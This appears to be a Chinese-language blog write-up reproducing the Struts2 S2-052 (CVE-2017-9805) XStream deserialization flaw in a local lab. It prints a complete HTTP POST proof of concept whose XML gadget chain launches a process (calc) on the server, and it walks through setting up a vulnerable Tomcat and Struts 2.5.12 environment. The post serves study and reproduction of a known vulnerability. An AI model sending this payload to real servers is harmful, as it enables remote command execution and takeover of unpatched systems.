s2-052漏洞介紹

漏洞不知道是之前的，還是剛出來(lái)的，反正我是剛看到，看到就心動(dòng)了，不行我也要復(fù)現(xiàn)漏洞，不要問(wèn)我為啥有時(shí)間復(fù)現(xiàn)，因?yàn)槲颐刻於己荛e，很閑的.........
—————————————————————————————————————————
上面都是廢話，下面才是精華呀

問(wèn)題出現(xiàn)在struts2-rest-plugin插件XStreamHandler處理器中的toObject()方法，其中未對(duì)傳入的值進(jìn)行任何限制，在使用XStream反
漏洞編號(hào)：CVE-2017-9805(S2-052)
影響版本：Struts 2.5 - Struts 2.5.12

s2-052 POC

POST http://127.0.0.1:8080/struts2-rest-showcase/orders HTTP/1.1
Host: 127.0.0.1:8080
Connection: keep-alive
Content-Length: 1963
Cache-Control: max-age=0
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/xml
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1:8080/struts2-rest-showcase/orders/new
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=1EF0BA9085CFFA2944901297746FE081

<map> 
    <entry> 
        <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
                <dataHandler>
                    <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                        <is class="javax.crypto.CipherInputStream">
                            <cipher class="javax.crypto.NullCipher">
                                <initialized>false</initialized>
                                <opmode>0</opmode>
                                <serviceIterator class="javax.imageio.spi.FilterIterator">
                                    <iter class="javax.imageio.spi.FilterIterator">
                                        <iter class="java.util.Collections$EmptyIterator"/>
                                        <next class="java.lang.ProcessBuilder">
                                            <command>
                                                <string>calc</string>
                                            </command>
                                            <redirectErrorStream>false</redirectErrorStream>
                                        </next>
                                    </iter>
                                    <filter class="javax.imageio.ImageIO$ContainsFilter">
                                        <method>
                                            <class>java.lang.ProcessBuilder</class>
                                            <name>start</name>
                                            <parameter-types/>
                                        </method>
                                        <name>foo</name>
                                    </filter>
                                    <next class="string">foo</next>
                                </serviceIterator>
                                <lock/>
                            </cipher>
                            <input class="java.lang.ProcessBuilder$NullInputStream"/>
                            <ibuffer></ibuffer>
                            <done>false</done>
                            <ostart>0</ostart>
                            <ofinish>0</ofinish>
                            <closed>false</closed>
                        </is>
                        <consumed>false</consumed>
                    </dataSource>
                    <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
            </value>
        </jdk.nashorn.internal.objects.NativeString>
        <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
    </entry>
    <entry>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
    </entry> 
</map>

s2-052漏洞復(fù)現(xiàn)

安裝java

我是從官網(wǎng)上面下載的，版本是1.8.0_144
安裝完之后需要配置環(huán)境變量
1 新建系統(tǒng)變量：
變量名:JAVA_HOME
變量值:你的JDK安裝目錄
2 再新建系統(tǒng)變量：
變量名:CLASSPATH
變量值:.;%JAVA_HOME%\lib;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;%TOMCAT_HOME%\BIN
注意：前面的點(diǎn)號(hào)
3 修改PATH變量
變量名：PATH
變量值：;%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin;
注意：前面的分號(hào)，將此值添加到，path變量值的最后面

安裝Tomcat

在官網(wǎng)上下載Tomcat http://tomcat.apache.org/download-90.cgi
下載你需要的版本
下載完成以后解壓到你想解壓的目錄就可以了，之后還需要配置環(huán)境變量
配置Tomcat的環(huán)境變量
新建Tomcat環(huán)境變量
變量名:TOMCAT_HOME
變量值:你的TOMCAT所在目錄

啟動(dòng)Tomcat

打開(kāi)bin文件夾—雙擊startup.bat;系統(tǒng)會(huì)打開(kāi)一個(gè)dos窗口，即啟動(dòng)成功；
如果未打開(kāi)dos窗口或者dos窗口一閃而過(guò)，可能是jdk的配置出錯(cuò)，請(qǐng)安裝上面的進(jìn)行注意檢查
訪問(wèn)：http://127.0.0.1:8080
注意：若要修改tomcat端口，可打開(kāi)/Library/Tomcat/conf/server.xml文件，修改8080端口。

下載受影響的struts2版本

1、從struts2的官網(wǎng)下載最后受影響的版本struts-2.5.12
地址： http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip 注意下載struts-2.5.12-apps即可，不需要下載struts-2.5.12-all.zip。不然struts-2.5.12-all.zip中包含很多其他的東西，可以看到lib目錄下有很多jar包。
2、拿到struts-2.5.12-apps之后，將其中的app目錄下的struts2-rest-showcase.war文件放到webapps目錄下，然后設(shè)置一下conf/server.xml文件即可。
3、這里把a(bǔ)ppBase設(shè)置為webapps目錄，然后unpackWARs設(shè)置為true，這樣就會(huì)自動(dòng)解包xxx.war，autoDeploy也設(shè)置為true(熱部署?) 然后就可以瀏覽器訪問(wèn)了。

image.png

TIM圖片20180322110421.png

漏洞利用

進(jìn)入編輯頁(yè)面

TIM圖片20180322110911.png

設(shè)置抓包，點(diǎn)擊提交按鈕

TIM圖片20180322111123.png

修改Content-Type和POST提交的數(shù)據(jù)

image.png

TIM圖片20180322111800.png